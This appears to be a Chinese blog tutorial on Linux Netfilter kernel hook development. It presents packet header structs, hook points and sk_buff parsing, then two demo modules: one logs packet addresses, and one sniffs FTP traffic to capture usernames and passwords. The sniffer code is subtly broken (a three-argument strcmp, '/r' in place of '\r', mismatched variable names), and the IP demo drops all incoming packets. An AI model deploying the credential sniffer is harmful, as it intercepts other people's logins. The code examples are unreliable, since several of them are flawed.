Linux Netfilter开发小结

前置知识:





IP包:
  1. struct ip {  
  2. #if BYTE_ORDER == LITTLE_ENDIAN  
  3.     unsigned char   ip_hl:4,        /* header length */  
  4.         ip_v:4;         /* version */  
  5. #endif  
  6.     unsigned char   ip_tos;         /* type of service */  
  7.     short   ip_len; /* total length */  
  8.     unsigned short  ip_id;/* identification */  
  9.     short   ip_off;       
  10.     unsigned char   ip_ttl;/* time to live */  
  11.     unsigned char   ip_p;/* protocol */  
  12.     unsigned short  ip_sum;   
  13.           struct    in_addr ip_src,ip_dst;/* source and dest address */  
  14. };  
struct ip {
#if BYTE_ORDER == LITTLE_ENDIAN
	unsigned char	ip_hl:4,		/* header length */
		ip_v:4;			/* version */
#endif
	unsigned char	ip_tos;			/* type of service */
	short	ip_len;	/* total length */
	unsigned short	ip_id;/* identification */
	short	ip_off;		
	unsigned char	ip_ttl;/* time to live */
	unsigned char	ip_p;/* protocol */
	unsigned short	ip_sum;	
          struct	in_addr ip_src,ip_dst;/* source and dest address */
};



IHL(Internet Header Length 报头长度),位于IP报文的第二个字段,4位,表示IP报文头部按32位字长(32位,4字节)计数的长度,也即报文头的长度等于IHL的值乘以4。 (ip_hl)




TCP头
  1. struct tcphdr {  
  2.     u_short th_sport;   /* source port */  
  3.     u_short th_dport;   /* destination port */  
  4.     tcp_seq th_seq; /* sequence number */  
  5.     tcp_seq th_ack; /* acknowledgement number */  
  6. #if BYTE_ORDER == LITTLE_ENDIAN  
  7.     u_char  th_x2:4,    /* (unused) */  
  8.         th_off:4;   /* data offset */  
  9. #endif  
  10. #if BYTE_ORDER == BIG_ENDIAN  
  11.     u_char  th_off:4,   /* data offset */  
  12.         th_x2:4;    /* (unused) */  
  13. #endif  
  14.     u_char  th_flags;  
  15. #define TH_FIN  0x01  
  16. #define TH_SYN  0x02  
  17. #define TH_RST  0x04  
  18. #define TH_PUSH 0x08  
  19. #define TH_ACK  0x10  
  20. #define TH_URG  0x20  
  21. #define TH_FLAGS (TH_FIN|TH_SYN|  
  22.              TH_RST|TH_ACK|TH_URG)  
  23.   
  24.   
  25.     u_short th_win; /* window */  
  26.     u_short th_sum; /* checksum */  
  27.     u_short th_urp; /* urgent pointer */  
  28. };  
struct tcphdr {
	u_short	th_sport;	/* source port */
	u_short	th_dport;	/* destination port */
	tcp_seq	th_seq;	/* sequence number */
	tcp_seq	th_ack;	/* acknowledgement number */
#if BYTE_ORDER == LITTLE_ENDIAN
	u_char	th_x2:4,	/* (unused) */
		th_off:4;	/* data offset */
#endif
#if BYTE_ORDER == BIG_ENDIAN
	u_char	th_off:4,	/* data offset */
		th_x2:4;	/* (unused) */
#endif
	u_char	th_flags;
#define	TH_FIN	0x01
#define	TH_SYN	0x02
#define	TH_RST	0x04
#define	TH_PUSH	0x08
#define	TH_ACK	0x10
#define	TH_URG	0x20
#define TH_FLAGS (TH_FIN|TH_SYN|
             TH_RST|TH_ACK|TH_URG)


	u_short	th_win;	/* window */
	u_short	th_sum;	/* checksum */
	u_short	th_urp;	/* urgent pointer */
};





UDP
  1. struct udphdr   
  2. {  
  3.     u_short uh_sport;       /* source port */  
  4.     u_short uh_dport;       /* destination port */  
  5.     short   uh_ulen;        /* udp length */  
  6.     u_short uh_sum;   
  7.         /* udp checksum */  
  8. };  
struct udphdr 
{
	u_short	uh_sport;		/* source port */
	u_short	uh_dport;		/* destination port */
	short	uh_ulen;		/* udp length */
	u_short	uh_sum;	
		/* udp checksum */
};






ARP
  1. typedef struct _ETHERNET_FRAME   
  2. {  
  3.     BYTE    DestinationAddress[6];   
  4.        BYTE    SourceAddress[6];       
  5.         WORD    FrameType;    // in host-order   
  6. } EHTERNET_FRAME, *PETHERNET_FRAME;   
  7.   
  8.   
  9. typedef struct _ARP_HEADER   
  10. {     
  11.     WORD    HardType;      //硬件类型     
  12.     WORD    ProtocolType;  //协议类型    
  13.     BYTE    HardLength;    //硬件地址长度     
  14.     BYTE    ProtocolLength; //协议地址长度       
  15.     WORD    Opcode;        //操作类型         
  16.     BYTE    SourceMAC[6];             
  17.     BYTE    SourceIP[4];             
  18.     BYTE    DestinationMAC[6];         
  19.     BYTE    DestinationIP[4];       
  20. } ARP_HEADER, *PARP_HEADER;   
  21.   
  22.   
  23. typedef struct _ARP   
  24. {       
  25.     EHTERNET_FRAME EthernetFrame;       
  26.     ARP_HEADER  ArpHeader;   
  27. }ARP, *PARP;  
typedef struct _ETHERNET_FRAME
{
    BYTE    DestinationAddress[6]; 
       BYTE    SourceAddress[6];    
      	WORD    FrameType;    // in host-order
} EHTERNET_FRAME, *PETHERNET_FRAME;


typedef struct _ARP_HEADER
{  
	WORD    HardType;      //硬件类型  
	WORD    ProtocolType;  //协议类型 
	BYTE    HardLength;    //硬件地址长度  
	BYTE    ProtocolLength; //协议地址长度    
	WORD    Opcode;        //操作类型      
	BYTE    SourceMAC[6];          
	BYTE    SourceIP[4];          
	BYTE    DestinationMAC[6];      
	BYTE    DestinationIP[4];    
} ARP_HEADER, *PARP_HEADER;


typedef struct _ARP
{    
	EHTERNET_FRAME EthernetFrame;    
	ARP_HEADER  ArpHeader;
}ARP, *PARP;









其他的可以看或文章最尾部的参考文章
数据包报头百度百科
http://baike.baidu.com/link?url=DuxdZVeorGksQX94G8UP19wx_iy-o504SjAhiQjZuRWSWNaZEVthpt6cm4L_z0FryXPqF4-YPtaN0UBbe_8Yeq


基于Linux内核的网络防火墙开发

Linux核心网络堆栈中有一个全局变量 : 
struct list_head nf_hooks[NPROTO][NF_MAX_HOOKS],该变量是一个二维数组,其中第一维用于指定协议族,第二维用于指定hook的类型(即5个HOOK点 )。注册一个Netfilter hook实际就是在由协议族和hook类型确定的链表中添加一个新的节点。 


在Linux防火墙开发中,有5个地方可以拦截





图很清楚的说明了在对应的位置能干什么


Filter:包过滤
Nat:地址转换
Mangle:修改包数据


规则链:
五个钩子函数(hook functions),也叫五个规则链。
1.PREROUTING (路由前)
2.INPUT (数据包流入口)
3.FORWARD (转发管卡)
4.OUTPUT(数据包出口)
5.POSTROUTING(路由后)
这是NetFilter规定的五个规则链,任何一个数据包,只要经过本机,必将经过这五个链中的其中一个链。  


5个HOOK点的定义:
  1. NF_INET_PRE_ROUTING    在完整性校验之后,选路确定之前  
  2. NF_INET_LOCAL_IN        在选路确定之后,且数据包的目的是本地主机  
  3. NF_INET_FORWARD        目的地是其它主机地数据包  
  4. NF_INET_LOCAL_OUT     来自本机进程的数据包在其离开本地主机的过程中  
  5. NF_IP_POST_ROUTING    在数据包离开本地主机“上线”之前   
  6. NF_INET_POST_ROUTING 同上  
NF_INET_PRE_ROUTING    在完整性校验之后,选路确定之前
NF_INET_LOCAL_IN        在选路确定之后,且数据包的目的是本地主机
NF_INET_FORWARD        目的地是其它主机地数据包
NF_INET_LOCAL_OUT     来自本机进程的数据包在其离开本地主机的过程中
NF_IP_POST_ROUTING    在数据包离开本地主机“上线”之前 
NF_INET_POST_ROUTING 同上


对包的处理结果:

  1. NF_DROP        丢弃该数据包   
  2. NF_ACCEPT    保留该数据包   
  3. NF_STOLEN    忘掉该数据包   
  4. NF_QUEUE     将该数据包插入到用户空间   
  5. NF_REPEAT    再次调用该hook函数   
NF_DROP        丢弃该数据包
NF_ACCEPT    保留该数据包
NF_STOLEN    忘掉该数据包
NF_QUEUE     将该数据包插入到用户空间
NF_REPEAT    再次调用该hook函数 

优先级:
  1. enum nf_ip_hook_priorities {  
  2.         NF_IP_PRI_FIRST = INT_MIN,  
  3.         NF_IP_PRI_CONNTRACK_DEFRAG = -400,  
  4.         NF_IP_PRI_RAW = -300,  
  5.         NF_IP_PRI_SELINUX_FIRST = -225,  
  6.         NF_IP_PRI_CONNTRACK = -200,  
  7.         NF_IP_PRI_MANGLE = -150,  
  8.         NF_IP_PRI_NAT_DST = -100,  
  9.         NF_IP_PRI_FILTER = 0,  
  10.         NF_IP_PRI_SECURITY = 50,  
  11.         NF_IP_PRI_NAT_SRC = 100,  
  12.         NF_IP_PRI_SELINUX_LAST = 225,  
  13.         NF_IP_PRI_CONNTRACK_CONFIRM = INT_MAX,  
  14.         NF_IP_PRI_LAST = INT_MAX,  
  15. };  
enum nf_ip_hook_priorities {
        NF_IP_PRI_FIRST = INT_MIN,
        NF_IP_PRI_CONNTRACK_DEFRAG = -400,
        NF_IP_PRI_RAW = -300,
        NF_IP_PRI_SELINUX_FIRST = -225,
        NF_IP_PRI_CONNTRACK = -200,
        NF_IP_PRI_MANGLE = -150,
        NF_IP_PRI_NAT_DST = -100,
        NF_IP_PRI_FILTER = 0,
        NF_IP_PRI_SECURITY = 50,
        NF_IP_PRI_NAT_SRC = 100,
        NF_IP_PRI_SELINUX_LAST = 225,
        NF_IP_PRI_CONNTRACK_CONFIRM = INT_MAX,
        NF_IP_PRI_LAST = INT_MAX,
};

一般写NF_IP_PRI_FIRST啦~或+1 +2...



///开始编写防火墙//
在注册之前 我们需要填写一个结构

  1. struct nf_hook_ops {  
  2.       struct list_head list;  
  3.       /* 此下的值由用户填充 */  
  4.       nf_hookfn *hook//回调函数;  
  5.       int pf;//协议 IPV4 还是ipV6  
  6.       int hooknum;//hook点  
  7.       /* Hook以升序的优先级排序 */  
  8.      int priority;  
  9. };  
struct nf_hook_ops {
      struct list_head list;
      /* 此下的值由用户填充 */
      nf_hookfn *hook//回调函数;
      int pf;//协议 IPV4 还是ipV6
      int hooknum;//hook点
      /* Hook以升序的优先级排序 */
     int priority;
};


例子:
   
  1. struct nf_hook_ops   nfho;  
  2.    /* 填充我们的hook数据结构 */       
  3.    nfho.hook = hook_func;  /* 处理函数 */       
  4.    nfho.hooknum  = NF_INET_PRE_ROUTING;  
  5.    /* 使用IPv4的第一个hook */       
  6.    nfho.pf       = PF_INET;    
  7.    //优先级 /* 让我们的函数首先执行 */     
  8.    nfho.priority = NF_IP_PRI_FIRST;   
 struct nf_hook_ops   nfho;
    /* 填充我们的hook数据结构 */    
    nfho.hook = hook_func;  /* 处理函数 */    
    nfho.hooknum  = NF_INET_PRE_ROUTING;
    /* 使用IPv4的第一个hook */    
    nfho.pf       = PF_INET; 
    //优先级 /* 让我们的函数首先执行 */  
    nfho.priority = NF_IP_PRI_FIRST; 

    

过滤函数:

  1. unsigned int hook_func(  
  2.                        unsigned int hooknum,                          
  3.                        struct sk_buff *skb,                          
  4.                        const struct net_device *in,                          
  5.                        const struct net_device *out,                          
  6.                        int (*okfn)(struct sk_buff *))   
  7. {       
  8.     return NF_DROP;  /* 丢弃所有的数据包 */           
  9. }   
	unsigned int hook_func(
	                       unsigned int hooknum,                       
	                       struct sk_buff *skb,                       
	                       const struct net_device *in,                       
	                       const struct net_device *out,                       
	                       int (*okfn)(struct sk_buff *))
	{    
		return NF_DROP;  /* 丢弃所有的数据包 */        
	} 

  1. //初始化函数调用  
  2. nf_register_hook(&nfho);   
  3. //卸载函数中调用  
  4. nf_unregister_hook(&nfho);   
    
    //初始化函数调用
    nf_register_hook(&nfho); 
    //卸载函数中调用
    nf_unregister_hook(&nfho); 


完整代码:
  1. #include <linux/module.h>  
  2. #include <linux/kernel.h>  
  3. #include <linux/netfilter.h>  
  4. #include <linux/netfilter_ipv4.h>  
  5.   
  6.   
  7. static struct nf_hook_ops nfho;  
  8.   
  9.   
  10. static unsigned int hook_func(unsigned int hooknum,  
  11.                        struct sk_buff *skb,  
  12.                        const struct net_device *in,  
  13.                        const struct net_device *out,  
  14.                        int (*okfn)(struct sk_buff *))  
  15. {  
  16.     return NF_ACCEPT;  
  17. }  
  18.   
  19.   
  20. static int nf_init(void)  
  21. {  
  22.     nfho.hook = hook_func;  
  23.     nfho.hooknum  = NF_INET_PRE_ROUTING;   
  24.     nfho.pf       = PF_INET;  
  25.     nfho.priority = NF_IP_PRI_FIRST;  
  26.   
  27.   
  28.     nf_register_hook(&nfho);  
  29.   
  30.   
  31.     return 0;  
  32. }  
  33.   
  34.   
  35. static void  nf_cleanup(void)  
  36. {  
  37.     nf_unregister_hook(&nfho);  
  38. }  
  39.   
  40.   
  41. module_init(nf_init);  
  42. module_exit(nf_cleanup);  
  43. MODULE_AUTHOR("djwow");  
  44. MODULE_LICENSE("GPL");  
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>


static struct nf_hook_ops nfho;


static unsigned int hook_func(unsigned int hooknum,
                       struct sk_buff *skb,
                       const struct net_device *in,
                       const struct net_device *out,
                       int (*okfn)(struct sk_buff *))
{
    return NF_ACCEPT;
}


static int nf_init(void)
{
    nfho.hook = hook_func;
    nfho.hooknum  = NF_INET_PRE_ROUTING; 
    nfho.pf       = PF_INET;
    nfho.priority = NF_IP_PRI_FIRST;


    nf_register_hook(&nfho);


    return 0;
}


static void  nf_cleanup(void)
{
    nf_unregister_hook(&nfho);
}


module_init(nf_init);
module_exit(nf_cleanup);
MODULE_AUTHOR("djwow");
MODULE_LICENSE("GPL");


struct sk_buff







sk_buff结构的成员skb->head指向一个已分配的空间的头部,即申请到的整个缓冲区的头,skb->end指向该空间的尾部,这两个成员指针从空间创建之后,就不能被修改。skb->data指向分配空间中数据的头部,skb->tail指向数据的尾部,这两个值随着网络数据在各层之间的传递、修改,会被不断改动。刚开始接触skb_buf的时候会产生一种错误的认识,就是以为协议头都会是放在skb->head和skb->data这两个指针之间,但实际上skb_buf的操作函数都无法直接对这一段内存进行操作,所有的操作函数所做的就仅仅是修改skb->data和skb->tail这两个指针而已,向套接字缓冲区拷贝数据也是由其它函数来完成的,所以不管是从网卡接受的数据还是上层发下来的数据,协议头都是被放在了skb->data到skb->tail之间,通过skb_push前移skb->data加入协议头,通过skb_pull后移skb->data剥离协议头。 




sk_buf常用解析
struct sk_buff *sb = skb;
IP地址:
  1. #define NIPQUAD(addr) \  
  2.   ((unsigned char *)&addr)[0], \  
  3.   ((unsigned char *)&addr)[1], \  
  4.   ((unsigned char *)&addr)[2], \  
  5.   ((unsigned char *)&addr)[3]  
  6.   
  7.   
  8. #define NIPQUAD_FMT "%u.%u.%u.%u"   
  9. __be sip, dip;  
  10. struct iphdr *iph=ip_hdr(sb);  
  11. sip=iph->saddr;  
  12. dip=iph->daddr;  
  13.   
  14.   
  15. printk("sip:%u.%u.%u.%u,dip:%u.%u.%u.%u\m",  
  16.     NIPQUAD(sip),NIPQUAD(dip));  
#define NIPQUAD(addr) \
  ((unsigned char *)&addr)[0], \
  ((unsigned char *)&addr)[1], \
  ((unsigned char *)&addr)[2], \
  ((unsigned char *)&addr)[3]


#define NIPQUAD_FMT "%u.%u.%u.%u" 
__be sip, dip;
struct iphdr *iph=ip_hdr(sb);
sip=iph->saddr;
dip=iph->daddr;


printk("sip:%u.%u.%u.%u,dip:%u.%u.%u.%u\m",
    NIPQUAD(sip),NIPQUAD(dip));




协议:
  1. struct iphdr *iph=ip_hdr(sb);  
  2. iph->protocol==IPPROTO_TCP  
struct iphdr *iph=ip_hdr(sb);
iph->protocol==IPPROTO_TCP

端口:
  1. struct iphdr *iph=ip_hdr(sb);  
  2. struct tcphdr *tcph = NULL;  
  3. struct udphdr *udph = NULL;  
  4. unsigned short sport = 0;  
  5. unsigned short dport = 0;  
  6. if(iph->protocol==IPPROTO_TCP)  
  7. {  
  8.     tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4));  
  9.     sport=ntohs(tcph->source);  
  10.     dport=ntohs(tcph->dest);  
  11. }  
  12. else if(iph->protocal==IPPROTO_UDP)  
  13. {  
  14.     udph = (struct udphdr *)((char *)skb->data + (int)(iph->ihl * 4));  
  15.     sport=ntohs(udph->source);  
  16.     dport=ntohs(udph->dest);  
  17. }  
struct iphdr *iph=ip_hdr(sb);
struct tcphdr *tcph = NULL;
struct udphdr *udph = NULL;
unsigned short sport = 0;
unsigned short dport = 0;
if(iph->protocol==IPPROTO_TCP)
{
    tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4));
    sport=ntohs(tcph->source);
    dport=ntohs(tcph->dest);
}
else if(iph->protocal==IPPROTO_UDP)
{
    udph = (struct udphdr *)((char *)skb->data + (int)(iph->ihl * 4));
    sport=ntohs(udph->source);
    dport=ntohs(udph->dest);
}

tcp的数据:
  1. char *data = NULL;  
  2. struct tcphdr *tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4));;  
  3. data = (char *)((int)tcph + (int)(tcph->doff * 4));  
char *data = NULL;
struct tcphdr *tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4));;
data = (char *)((int)tcph + (int)(tcph->doff * 4));

ihl(Internet Header Length 报头长度),位于IP报文的第二个字段,4位,表示IP报文头部按32位字长(32位,4字节)计数的长度,也即报文头的长度等于IHL的值乘以4。 

三个demo
一个是打印ip地址 一个是获取ftp账号密码 最后一个老外写一个获取ftp和修改数据的demo 
  1. //打印IP:  
  2. #include <linux/module.h>  
  3. #include <linux/kernel.h>  
  4. #include <linux/init.h>  
  5. #include <linux/types.h>  
  6. #include <linux/netdevice.h>  
  7. #include <linux/skbuff.h>  
  8. #include <linux/netfilter_ipv4.h>  
  9. #include <linux/inet.h>  
  10. #include <linux/in.h>  
  11. #include <linux/ip.h>  
  12. #include <linux/tcp.h>  
  13. #include <linux/udp.h>  
  14.   
  15.   
  16. #define NIPQUAD(addr) \  
  17.   ((unsigned char *)&addr)[0], \  
  18.   ((unsigned char *)&addr)[1], \  
  19.   ((unsigned char *)&addr)[2], \  
  20.   ((unsigned char *)&addr)[3]  
  21.   
  22.   
  23.   
  24.   
  25. static unsigned int ipprint_func(  
  26. unsigned int hooknum,  
  27. struct sk_buff * skb,  
  28. const struct net_device *in,  
  29. const struct net_device *out,  
  30. int (*okfn) (struct sk_buff *))  
  31. {  
  32.     __be32 sip,dip;  
  33.   
  34.   
  35.     struct tcphdr *tcph = NULL;  
  36.     struct udphdr *udph = NULL;  
  37.     unsigned short sport = 0;  
  38.     unsigned short dport = 0;  
  39.     struct iphdr *iph;  
  40.     if(skb)  
  41.     {  
  42.         struct sk_buff *sb = NULL;  
  43.         sb = skb;  
  44.         iph  = ip_hdr(sb);  
  45.         sip = iph->saddr;  
  46.         dip = iph->daddr;  
  47.   
  48.   
  49.   
  50.   
  51.         if(iph->protocol==IPPROTO_TCP)  
  52.         {   
  53.         tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4));  
  54.             //tcph = tcp_hdr(sb);  
  55.             sport=ntohs(tcph->source);  
  56.             dport=ntohs(tcph->dest);  
  57.         }  
  58.         else if(iph->protocol==IPPROTO_UDP)  
  59.         {  
  60.         udph = (struct udphdr *)((char *)skb->data + (int)(iph->ihl * 4));  
  61.             //udph = udp_hdr(sb);  
  62.             sport=ntohs(udph->source);  
  63.             dport=ntohs(udph->dest);  
  64.         }  
  65.         printk("Packet for source address: %u.%u.%u.%u:%u destination address: %u.%u.%u.%u:%u\n ", NIPQUAD(sip),sport,NIPQUAD(dip),dport);  
  66.     }  
  67.     return NF_DROP;  
  68. }  
  69.   
  70.   
  71.  struct nf_hook_ops ipprint_ops = {  
  72.    .list =  {NULL,NULL},  
  73.    .hook = ipprint_func,  
  74.    .pf = PF_INET,  
  75.    //.hooknum = NF_INET_PRE_ROUTING,  
  76.    .hooknum = NF_INET_LOCAL_IN,  
  77.    .priority = NF_IP_PRI_FILTER+2  
  78.  };  
  79.   
  80.   
  81. static int __init ipprint_init(void) {  
  82.   nf_register_hook(&ipprint_ops);  
  83.   return 0;  
  84. }  
  85.   
  86.   
  87.   
  88.   
  89. static void __exit ipprint_exit(void) {  
  90.   nf_unregister_hook(&ipprint_ops);  
  91. }  
  92.   
  93.   
  94.  module_init(ipprint_init);  
  95.  module_exit(ipprint_exit);   
  96.  MODULE_AUTHOR("djwow");  
  97.  MODULE_DESCRIPTION("ipprint");  
  98. MODULE_LICENSE("GPL");  
//打印IP:
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/types.h>
#include <linux/netdevice.h>
#include <linux/skbuff.h>
#include <linux/netfilter_ipv4.h>
#include <linux/inet.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/udp.h>


#define NIPQUAD(addr) \
  ((unsigned char *)&addr)[0], \
  ((unsigned char *)&addr)[1], \
  ((unsigned char *)&addr)[2], \
  ((unsigned char *)&addr)[3]




static unsigned int ipprint_func(
unsigned int hooknum,
struct sk_buff * skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn) (struct sk_buff *))
{
    __be32 sip,dip;


    struct tcphdr *tcph = NULL;
    struct udphdr *udph = NULL;
    unsigned short sport = 0;
    unsigned short dport = 0;
    struct iphdr *iph;
    if(skb)
    {
        struct sk_buff *sb = NULL;
        sb = skb;
        iph  = ip_hdr(sb);
        sip = iph->saddr;
        dip = iph->daddr;




        if(iph->protocol==IPPROTO_TCP)
        { 
	    tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4));
            //tcph = tcp_hdr(sb);
            sport=ntohs(tcph->source);
            dport=ntohs(tcph->dest);
        }
        else if(iph->protocol==IPPROTO_UDP)
        {
	    udph = (struct udphdr *)((char *)skb->data + (int)(iph->ihl * 4));
            //udph = udp_hdr(sb);
            sport=ntohs(udph->source);
            dport=ntohs(udph->dest);
        }
        printk("Packet for source address: %u.%u.%u.%u:%u destination address: %u.%u.%u.%u:%u\n ", NIPQUAD(sip),sport,NIPQUAD(dip),dport);
    }
    return NF_DROP;
}


 struct nf_hook_ops ipprint_ops = {
   .list =  {NULL,NULL},
   .hook = ipprint_func,
   .pf = PF_INET,
   //.hooknum = NF_INET_PRE_ROUTING,
   .hooknum = NF_INET_LOCAL_IN,
   .priority = NF_IP_PRI_FILTER+2
 };


static int __init ipprint_init(void) {
  nf_register_hook(&ipprint_ops);
  return 0;
}




static void __exit ipprint_exit(void) {
  nf_unregister_hook(&ipprint_ops);
}


 module_init(ipprint_init);
 module_exit(ipprint_exit); 
 MODULE_AUTHOR("djwow");
 MODULE_DESCRIPTION("ipprint");
MODULE_LICENSE("GPL");



获取FTP账号密码: 结合通信的话可以参考我的另一篇文章

linux防火墙开发实例 获取FTP账号密码

http://blog.csdn.NET/zhuhuibeishadiao

  1. #include <linux/module.h>  
  2. #include <linux/kernel.h>  
  3. #include <linux/init.h>  
  4. #include <linux/types.h>  
  5. #include <linux/netdevice.h>  
  6. #include <linux/skbuff.h>  
  7. #include <linux/netfilter_ipv4.h>  
  8. #include <linux/inet.h>  
  9. #include <linux/in.h>  
  10. #include <linux/ip.h>  
  11. #include <linux/tcp.h>  
  12. #include <linux/udp.h>  
  13.   
  14.   
  15. #define NIPQUAD(addr) \  
  16.   ((unsigned char *)&addr)[0], \  
  17.   ((unsigned char *)&addr)[1], \  
  18.   ((unsigned char *)&addr)[2], \  
  19.   ((unsigned char *)&addr)[3]  
  20.   
  21.   
  22.   
  23.   
  24. static unsigned int ipprint_func(  
  25. unsigned int hooknum,  
  26. struct sk_buff * skb,  
  27. const struct net_device *in,  
  28. const struct net_device *out,  
  29. int (*okfn) (struct sk_buff *))  
  30. {  
  31.     __be32 sip,dip;  
  32.   
  33.   
  34.     struct tcphdr *tcph = NULL;  
  35.     struct udphdr *udph = NULL;  
  36.     unsigned short sport = 0;  
  37.     unsigned short dport = 0;  
  38.     struct iphdr *iph;  
  39.     char *data = NULL;  
  40.     char *UserName = NULL;  
  41.     char *PassWord = NULL;  
  42.     int i = 0;  
  43.     int len = 0;  
  44.     if(skb)  
  45.     {  
  46.         struct sk_buff *sb = NULL;  
  47.         sb = skb;  
  48.         iph  = ip_hdr(sb);  
  49.         sip = iph->saddr;  
  50.         dip = iph->daddr;  
  51.   
  52.   
  53.   
  54.   
  55.         if(iph->protocol != IPPROTO_TCP)  
  56.           return NF_ACCEPT;     
  57.         
  58.        tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4));  
  59.             //tcph = tcp_hdr(sb);  
  60.         sport=ntohs(tcph->source);  
  61.         dport=ntohs(tcph->dest);  
  62.         if(dport != 21)  
  63.           return NF_ACCEPT;  
  64.         data = (char *)((int)tcph + (int)(tcph->doff * 4));  
  65.   
  66.   
  67.         if(strcmp(data,"USER",5) == 0)  
  68.         {  
  69.             data += 5;  
  70.             while (*(data + i) != '/r'   
  71.                 && *(data + i) != '/n'  
  72.                 && *(data + i) != '/0'   
  73.                 && i < 15)   
  74.             {  
  75.                    len++;  
  76.                    i++;  
  77.             }  
  78.   
  79.   
  80.              if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)  
  81.                   return NF_ACCEPT;  
  82.             memset(username, 0x00, len + 2);  
  83.             memcpy(username, data, len);  
  84.             *(username + len) = '/0';       
  85.           } else if(strcmp(data,"PASS",5) == 0)  
  86.           {  
  87.             data += 5;  
  88.             while (*(data + i) != '/r'   
  89.                 && *(data + i) != '/n'  
  90.                 && *(data + i) != '/0'   
  91.                 && i < 15)   
  92.             {  
  93.                    len++;  
  94.                    i++;  
  95.             }  
  96.   
  97.   
  98.               if ((PassWord = kmalloc(len + 2, GFP_KERNEL)) == NULL)  
  99.                   return NF_ACCEPT;  
  100.                 memset(PassWord,0x00,len+2);  
  101.                 memcpy(PassWord,data,len);  
  102.                 *(PassWord + len) = '/0';  
  103.           }   else   
  104.           {  
  105.                return NF_ACCEPT;  
  106.           }  
  107.         //printk("Packet for source address: %u.%u.%u.%u:%u destination address: %u.%u.%u.%u:%u\n ", NIPQUAD(sip),sport,NIPQUAD(dip),dport);  
  108.           if(UserName)  
  109.           {  
  110.             printk("UserName:%s\n",UserName);  
  111.             kfree(UserName);  
  112.           }  
  113.           if(PassWord)  
  114.           {  
  115.             printk("PassWord:%s\n",PassWord);  
  116.             kfree(PassWord);  
  117.           }  
  118.     }  
  119.     return NF_ACCEPT;  
  120. }  
  121.   
  122.   
  123.  struct nf_hook_ops ipprint_ops = {  
  124.    .list =  {NULL,NULL},  
  125.    .hook = ipprint_func,  
  126.    .pf = PF_INET,  
  127.    .hooknum = NF_IP_POST_ROUTING,  
  128.    //.hooknum = NF_INET_LOCAL_IN,  
  129.    .priority = NF_IP_PRI_FILTER+2  
  130.  };  
  131.   
  132.   
  133. static int __init ipprint_init(void) {  
  134.   nf_register_hook(&ipprint_ops);  
  135.   return 0;  
  136. }  
  137.   
  138.   
  139.   
  140.   
  141. static void __exit ipprint_exit(void) {  
  142.   nf_unregister_hook(&ipprint_ops);  
  143. }  
  144.   
  145.   
  146.  module_init(ipprint_init);  
  147.  module_exit(ipprint_exit);   
  148.  MODULE_AUTHOR("djwow");  
  149.  MODULE_DESCRIPTION("ipprint");  
  150. MODULE_LICENSE("GPL");  
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/types.h>
#include <linux/netdevice.h>
#include <linux/skbuff.h>
#include <linux/netfilter_ipv4.h>
#include <linux/inet.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/udp.h>


#define NIPQUAD(addr) \
  ((unsigned char *)&addr)[0], \
  ((unsigned char *)&addr)[1], \
  ((unsigned char *)&addr)[2], \
  ((unsigned char *)&addr)[3]




static unsigned int ipprint_func(
unsigned int hooknum,
struct sk_buff * skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn) (struct sk_buff *))
{
    __be32 sip,dip;


    struct tcphdr *tcph = NULL;
    struct udphdr *udph = NULL;
    unsigned short sport = 0;
    unsigned short dport = 0;
    struct iphdr *iph;
    char *data = NULL;
    char *UserName = NULL;
    char *PassWord = NULL;
    int i = 0;
    int len = 0;
    if(skb)
    {
        struct sk_buff *sb = NULL;
        sb = skb;
        iph  = ip_hdr(sb);
        sip = iph->saddr;
        dip = iph->daddr;




        if(iph->protocol != IPPROTO_TCP)
          return NF_ACCEPT;   
      
       tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4));
            //tcph = tcp_hdr(sb);
        sport=ntohs(tcph->source);
        dport=ntohs(tcph->dest);
        if(dport != 21)
          return NF_ACCEPT;
        data = (char *)((int)tcph + (int)(tcph->doff * 4));


        if(strcmp(data,"USER",5) == 0)
        {
            data += 5;
            while (*(data + i) != '/r' 
                && *(data + i) != '/n'
                && *(data + i) != '/0' 
                && i < 15) 
            {
                   len++;
                   i++;
            }


             if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
                  return NF_ACCEPT;
            memset(username, 0x00, len + 2);
            memcpy(username, data, len);
            *(username + len) = '/0';     
          } else if(strcmp(data,"PASS",5) == 0)
          {
            data += 5;
            while (*(data + i) != '/r' 
                && *(data + i) != '/n'
                && *(data + i) != '/0' 
                && i < 15) 
            {
                   len++;
                   i++;
            }


              if ((PassWord = kmalloc(len + 2, GFP_KERNEL)) == NULL)
                  return NF_ACCEPT;
                memset(PassWord,0x00,len+2);
                memcpy(PassWord,data,len);
                *(PassWord + len) = '/0';
          }   else 
          {
               return NF_ACCEPT;
          }
        //printk("Packet for source address: %u.%u.%u.%u:%u destination address: %u.%u.%u.%u:%u\n ", NIPQUAD(sip),sport,NIPQUAD(dip),dport);
          if(UserName)
          {
            printk("UserName:%s\n",UserName);
            kfree(UserName);
          }
          if(PassWord)
          {
            printk("PassWord:%s\n",PassWord);
            kfree(PassWord);
          }
    }
    return NF_ACCEPT;
}


 struct nf_hook_ops ipprint_ops = {
   .list =  {NULL,NULL},
   .hook = ipprint_func,
   .pf = PF_INET,
   .hooknum = NF_IP_POST_ROUTING,
   //.hooknum = NF_INET_LOCAL_IN,
   .priority = NF_IP_PRI_FILTER+2
 };


static int __init ipprint_init(void) {
  nf_register_hook(&ipprint_ops);
  return 0;
}




static void __exit ipprint_exit(void) {
  nf_unregister_hook(&ipprint_ops);
}


 module_init(ipprint_init);
 module_exit(ipprint_exit); 
